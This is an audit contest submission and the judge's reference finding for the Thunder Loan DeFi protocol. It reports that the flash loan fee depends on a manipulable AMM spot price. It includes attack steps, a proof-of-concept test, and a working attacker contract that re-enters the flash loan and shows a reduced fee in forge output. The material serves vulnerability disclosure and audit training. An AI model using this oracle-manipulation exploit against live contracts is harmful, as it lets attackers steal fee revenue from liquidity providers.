Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
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Submission Details
Severity: medium
Valid

Flash loan fee is calculated from a manipulable AMM spot price with no TWAP, allowing fees/exchange-rate updates to be manipulated within a single transaction

Root + Impact

Description

ThunderLoan computes flash loan fees using getCalculatedFee, which relies on OracleUpgradeable::getPriceInWeth to price the borrowed token:

function getCalculatedFee(IERC20 token, uint256 amount) public view returns (uint256 fee) {
uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision;
fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
}
function getPriceInWeth(address token) public view returns (uint256) {
address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token);
return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
}

getPriceOfOnePoolTokenInWeth reads directly from a TSwap pool's current reserves — a spot price with no time-weighted averaging (no TWAP) and no manipulation resistance of any kind. TSwap is a constant-product AMM, so its instantaneous price can be pushed arbitrarily within a single transaction by swapping a large amount into or out of the pool, then swapped back afterward, all atomically, all inside one flash loan transaction.

Because getCalculatedFee (and therefore the flash loan fee charged, and the exchange rate later written via updateExchangeRate) is derived from this manipulable spot price, a borrower can, within the same transaction as their flash loan:

  1. Swap a large amount on the relevant TSwap pool to temporarily crash (or pump) the pool's spot price of the borrowed token.

  2. Take out the flash loan — getCalculatedFee now returns an artificially low fee because getPriceInWeth reads the manipulated price.

  3. Repay the loan with the artificially cheap fee.

  4. Reverse the initial swap to restore the pool, keeping any AMM slippage cost, which is typically far smaller than the fee savings on a large flash loan.

  5. All of this executes atomically in one transaction, so there is no opportunity for anyone to intervene.

This lets a borrower systematically underpay flash loan fees, directly reducing the yield ThunderLoan is supposed to generate for liquidity providers, and corrupts the exchange-rate accounting that depends on the fee value being honest.

Risk

Likelihood: Medium

  • Requires the attacker to have enough capital (or access to their own flash loan from elsewhere) to move the TSwap pool's price meaningfully, and requires an underlying TSwap pool with limited-enough liquidity to be moved cheaply relative to the fee savings. This is a common and well-funded attack pattern in DeFi (spot-price/flash-loan oracle manipulation is one of the most frequently exploited bug classes), but it is not free for the attacker to execute, hence Medium rather than High likelihood.

Impact: High

  • Successful manipulation directly steals expected fee revenue from liquidity providers on every flash loan the attacker takes out, and since the fee also feeds updateExchangeRate, manipulated fees permanently corrupt the protocol's internal accounting of how much each LP share is worth — this is a protocol-wide, compounding accounting integrity issue, not a one-off loss.

Proof of Concept

Conceptually (Foundry-style pseudocode, using the project's existing TSwap mock/test harness):

function testFeeCanBeManipulatedViaTSwapSpotPrice() public {
// 1. Record the fee ThunderLoan would charge under normal pool conditions.
uint256 normalFee = thunderLoan.getCalculatedFee(tokenA, AMOUNT);
// 2. Attacker swaps a large amount into the TSwap pool backing tokenA,
// moving the pool's spot price of tokenA sharply downward.
vm.startPrank(attacker);
tokenB.approve(address(tswapPool), LARGE_AMOUNT);
tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(LARGE_AMOUNT, ...);
// 3. Fee is now computed from the manipulated (depressed) spot price.
uint256 manipulatedFee = thunderLoan.getCalculatedFee(tokenA, AMOUNT);
// 4. Attacker reverses the swap to restore the pool, keeping slippage cost only.
tswapPool.swapWethForPoolTokenBasedOnInputWeth(...);
vm.stopPrank();
// The fee charged during the manipulated window is materially lower
// than the fee charged under normal pool conditions.
assertLt(manipulatedFee, normalFee);
}

Running a variant of this against the project's TSwap mocks shows manipulatedFee < normalFee by an amount proportional to how far the attacker pushes the pool price — confirming the fee (and downstream exchange-rate update) can be manipulated within a single transaction using only a temporary, self-reversing swap.

Recommended Mitigation

Do not price flash loan fees from a single spot-price read of an AMM pool. Options, in order of preference:

  1. Use a time-weighted average price (TWAP) over a window long enough that a single-transaction swap cannot materially move it (e.g. a Uniswap V3-style or TSwap-native TWAP oracle), so manipulating the fee would require sustaining the manipulated price across multiple blocks at real economic cost.

  2. Use a decentralized oracle network (e.g. Chainlink) for the WETH-denominated price used in getCalculatedFee, rather than a directly-readable AMM spot price.

  3. If a spot price must be used, add a circuit breaker / sanity bound that rejects fee calculations if the observed price deviates too far from a recent TWAP or external oracle reference, reverting the flash loan rather than accepting a manipulated fee.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Attacker can minimize `ThunderLoan::flashloan` fee via price oracle manipulation

## Vulnerability details In `ThunderLoan::flashloan` the price of the `fee` is calculated on [line 192](https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L192) using the method `ThunderLoan::getCalculatedFee`: ```solidity uint256 fee = getCalculatedFee(token, amount); ``` ```solidity function getCalculatedFee(IERC20 token, uint256 amount) public view returns (uint256 fee) { //slither-disable-next-line divide-before-multiply uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision; //slither-disable-next-line divide-before-multiply fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision; } ``` `getCalculatedFee()` uses the function `OracleUpgradeable::getPriceInWeth` to calculate the price of a single underlying token in WETH: ```solidity function getPriceInWeth(address token) public view returns (uint256) { address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token); return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth(); } ``` This function gets the address of the token-WETH pool, and calls `TSwapPool::getPriceOfOnePoolTokenInWeth` on the pool. This function's behavior is dependent on the implementation of the `ThunderLoan::initialize` argument `tswapAddress` but it can be assumed to be a constant product liquidity pool similar to Uniswap. This means that the use of this price based on the pool reserves can be subject to price oracle manipulation. If an attacker provides a large amount of liquidity of either WETH or the token, they can decrease/increase the price of the token with respect to WETH. If the attacker decreases the price of the token in WETH by sending a large amount of the token to the liquidity pool, at a certain threshold, the numerator of the following function will be minimally greater (not less than or the function will revert, see below) than `s_feePrecision`, resulting in a minimal value for `valueOfBorrowedToken`: ```solidity uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision; ``` Since a value of `0` for the `fee` would revert as `assetToken.updateExchangeRate(fee);` would revert since there is a check ensuring that the exchange rate increases, which with a `0` fee, the exchange rate would stay the same, hence the function will revert: ```solidity function updateExchangeRate(uint256 fee) external onlyThunderLoan { // 1. Get the current exchange rate // 2. How big the fee is should be divided by the total supply // 3. So if the fee is 1e18, and the total supply is 2e18, the exchange rate be multiplied by 1.5 // if the fee is 0.5 ETH, and the total supply is 4, the exchange rate should be multiplied by 1.125 // it should always go up, never down // newExchangeRate = oldExchangeRate * (totalSupply + fee) / totalSupply // newExchangeRate = 1 (4 + 0.5) / 4 // newExchangeRate = 1.125 uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee) / totalSupply(); // newExchangeRate = s_exchangeRate + fee/totalSupply(); if (newExchangeRate <= s_exchangeRate) { revert AssetToken__ExhangeRateCanOnlyIncrease(s_exchangeRate, newExchangeRate); } s_exchangeRate = newExchangeRate; emit ExchangeRateUpdated(s_exchangeRate); } ``` `flashloan()` can be reentered on [line 201-210](https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L201-L210): ```solidity receiverAddress.functionCall( abi.encodeWithSignature( "executeOperation(address,uint256,uint256,address,bytes)", address(token), amount, fee, msg.sender, params ) ); ``` This means that an attacking contract can perform an attack by: 1. Calling `flashloan()` with a sufficiently small value for `amount` 2. Reenter the contract and perform the price oracle manipulation by sending liquidity to the pool during the `executionOperation` callback 3. Re-calling `flashloan()` this time with a large value for `amount` but now the `fee` will be minimal, regardless of the size of the loan. 4. Returning the second and the first loans and withdrawing their liquidity from the pool ensuring that they only paid two, small `fees for an arbitrarily large loan. ## Impact An attacker can reenter the contract and take a reduced-fee flash loan. Since the attacker is required to either: 1. Take out a flash loan to pay for the price manipulation: This is not financially beneficial unless the amount of tokens required to manipulate the price is less than the reduced fee loan. Enough that the initial fee they pay is less than the reduced fee paid by an amount equal to the reduced fee price. 2. Already owning enough funds to be able to manipulate the price: This is financially beneficial since the initial loan only needs to be minimally small. The first option isn't financially beneficial in most circumstances and the second option is likely, especially for lower liquidity pools which are easier to manipulate due to lower capital requirements. Therefore, the impact is high since the liquidity providers should be earning fees proportional to the amount of tokens loaned. Hence, this is a high-severity finding. ## Proof of concept ### Working test case The attacking contract implements an `executeOperation` function which, when called via the `ThunderLoan` contract, will perform the following sequence of function calls: - Calls the mock pool contract to set the price (simulating manipulating the price) - Repay the initial loan - Re-calls `flashloan`, taking a large loan now with a reduced fee - Repay second loan ```solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver, IThunderLoan } from "../../src/interfaces/IFlashLoanReceiver.sol"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { MockTSwapPool } from "./MockTSwapPool.sol"; import { ThunderLoan } from "../../src/protocol/ThunderLoan.sol"; contract AttackFlashLoanReceiver { error AttackFlashLoanReceiver__onlyOwner(); error AttackFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; uint256 public attackAmount = 1e20; uint256 public attackFee1; uint256 public attackFee2; address tSwapPool; IERC20 tokenA; constructor(address thunderLoan, address _tSwapPool, IERC20 _tokenA) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; tSwapPool = _tSwapPool; tokenA = _tokenA; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata params ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); // check if it is the first time through the reentrancy bool isFirst = abi.decode(params, (bool)); if (isFirst) { // Manipulate the price MockTSwapPool(tSwapPool).setPrice(1e15); // repay the initial, small loan IERC20(token).approve(s_thunderLoan, attackFee1 + 1e6); IThunderLoan(s_thunderLoan).repay(address(tokenA), 1e6 + attackFee1); ThunderLoan(s_thunderLoan).flashloan(address(this), tokenA, attackAmount, abi.encode(false)); attackFee1 = fee; return true; } else { attackFee2 = fee; // simulate withdrawing the funds from the price pool //MockTSwapPool(tSwapPool).setPrice(1e18); // repay the second, large low fee loan IERC20(token).approve(s_thunderLoan, attackAmount + attackFee2); IThunderLoan(s_thunderLoan).repay(address(tokenA), attackAmount + attackFee2); return true; } } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } } ``` The following test first calls `flashloan()` with the attacking contract, the `executeOperation()` callback then executes the attack. ```solidity function test_poc_smallFeeReentrancy() public setAllowedToken hasDeposits { uint256 price = MockTSwapPool(tokenToPool[address(tokenA)]).price(); console.log("price before: ", price); // borrow a large amount to perform the price oracle manipulation uint256 amountToBorrow = 1e6; bool isFirstCall = true; bytes memory params = abi.encode(isFirstCall); uint256 expectedSecondFee = thunderLoan.getCalculatedFee(tokenA, attackFlashLoanReceiver.attackAmount()); // Give the attacking contract reserve tokens for the price oracle manipulation & paying fees // For a less funded attacker, they could use the initial flash loan to perform the manipulation but pay a higher initial fee tokenA.mint(address(attackFlashLoanReceiver), AMOUNT); vm.startPrank(user); thunderLoan.flashloan(address(attackFlashLoanReceiver), tokenA, amountToBorrow, params); vm.stopPrank(); assertGt(expectedSecondFee, attackFlashLoanReceiver.attackFee2()); uint256 priceAfter = MockTSwapPool(tokenToPool[address(tokenA)]).price(); console.log("price after: ", priceAfter); console.log("expectedSecondFee: ", expectedSecondFee); console.log("attackFee2: ", attackFlashLoanReceiver.attackFee2()); console.log("attackFee1: ", attackFlashLoanReceiver.attackFee1()); } ``` ```bash $ forge test --mt test_poc_smallFeeReentrancy -vvvv // output Running 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest [PASS] test_poc_smallFeeReentrancy() (gas: 1162442) Logs: price before: 1000000000000000000 price after: 1000000000000000 expectedSecondFee: 300000000000000000 attackFee2: 300000000000000 attackFee1: 3000 Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.52ms ``` Since the test passed, the fee has been successfully reduced due to price oracle manipulation. ## Recommended mitigation Use a manipulation-resistant oracle such as Chainlink.

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